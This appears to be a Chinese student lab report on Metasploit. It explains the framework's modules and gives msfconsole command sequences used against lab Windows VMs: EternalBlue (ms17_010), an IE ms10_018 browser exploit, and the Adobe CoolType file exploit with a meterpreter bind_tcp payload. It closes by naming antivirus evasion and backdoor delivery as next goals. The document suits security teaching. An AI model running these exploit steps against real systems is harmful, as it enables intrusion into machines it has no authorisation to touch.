一、实验原理
(1)MSF简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。
(2)程序特点
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中有着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
(3)七大模块
进入/usr/share/metasploit-framework/modules/exploits即可看到7个模块,其中evasion是在msf5中更新的,信息比较少
Exploit模块
是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件,形象的说就是攻击模块。
Payload模块
是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
Encoder模块
针对payload进行编码,可以通过多种编码手段、多次编码方式有效的改变payload代码特征。Encoder不改变payload作用,但能对payload进行加工。
Aux模块
能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
Post模块
支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
Nops模块
是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置。
evasion模块
对攻击载荷进行”免杀”处理。
(4)常用命令
search name :用指定关键字搜索可以利用的漏洞模块
use exploit name :使用漏洞
show options :显示配置选项
set TARGET target number :设置目标版本
exploit :开始漏洞攻击
sessions -l :列出会话
sessions -i id :选择会话
sessions -k id :结束会话
Ctrl+z :把会话放到后台
Ctrl+c :结束会话
参考链接:https://zhuanlan.zhihu.com/p/387455070
二、基础问题回答
用自己的话解释什么是exploit,payload,encode。
exploit:漏洞攻击。一个exploit程序肯定会触发系统的一个或多个漏洞,进而程序直接获取到目标系统的部分或所有权限。一个漏洞攻击程序可以在本地运行也可以远程运行,远程运行的漏洞攻击可以理论上获取被攻击系统的所有控制权。
payload:有效载荷,可以理解为搞破坏的关键代码。电脑病毒中可以直接完成预定目标的代码段便是其“有效载荷”。
encode:编码。通过一些特殊手段的编码,可以既保证有效载荷不被破坏,又使得漏洞攻击程序不会被侦察到。
三、实验过程
(1)准备工作
①靶机下载
(win7太高版本的可能会报错)
win7迅雷下载链接:ed2k://|file|en_windows_7_ultimate_with_sp1_x64_dvd_u_677332.iso|3320903680|743598C64E635C72964CF02A3E0AD547|/
windows XP迅雷下载链接:
ed2k://|file|en_windows_xp_home_with_service_pack_3_x86_cd_x14-92413.iso|592154624|E31A555C0AB581B8610583D2D25E93BD|/
win7安装配置:https://blog.csdn.net/m0_63207326/article/details/126003875
windows XP安装配置:https://blog.csdn.net/sunyisong090630/article/details/126335463
镜像下载网站:https://msdn.itellyou.cn/
②关闭靶机防火墙
③打开445端口
④查看靶机IP地址
(1)主动攻击实践
查看版本
msfconsole
search scanner/smb/smb_
use 7
show options
set rhosts 192.168.0.108
run
查找对应利用漏洞模块
search exploit/windows/smb/
第19条攻击方式:ms17-010(win7)
查看靶机该漏洞:nmap -sS -A --script=smb-vuln-ms17-010 -PO 192.168.253.136
选择对应MSF板块,设置靶机ip地址,执行攻击:
use exploit/windows/smb/ms17_010_eternalblue
set rhost 192.168.249.141
exploit
(2) 针对浏览器的攻击
第117条攻击方式:ms10_018_ie_behaviors(win7)
use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.249.131
set target 0
exploit
使用win7的IE浏览器访问http://192.168.249.141:8080/kyryAWcN8JQ
输入该网址会报错,其他网页都可以正常打开
(3)针对客户端的攻击
攻击方式:Adobe(adobe_cooltype_sing) (XP)
攻击原理:https://www.likecs.com/show-305616517.html
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 1214//设置端口号
set RHOST 192.168.0.108//设置靶机IP地址
exploit #攻击
将生成的msf文件复制到靶机中,点击回连
(可以使用cp命令将文件复制到桌面再移动,也可以使用超级用户权限进入root)
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.0.108 //设置靶机IP地址
set LPORT 1214 //设置端口号
exploit //攻击
(好像没有成功)
(4)成功应用任何一个辅助模块
使用PortScan进行安全传输协议扫描
use auxiliary/scanner/ftp
Use 8
show options
set rhosts 192.168.0。108
exploit
(似乎没有成功)
四、实验总结
离实战还缺些什么技术或步骤?
我们目前所攻击的对象,利用的漏洞,都是特定的Windows版本,并且,漏洞比较古老,随着补丁的更新,很容易就无法实现,例如我们需要将Windows 7的防火墙关掉等等一系列的设置,方便我们的攻击能够实现。
信息收集尤为重要,需要获取最新漏洞情报。
要提升自己的各方面能力,比如说编写实现特定功能的payload,这样的攻击会更有针对性。
如何把后门程序送入靶机也是一大难点。
如何绕开防火墙和杀毒软件的免杀也是重点。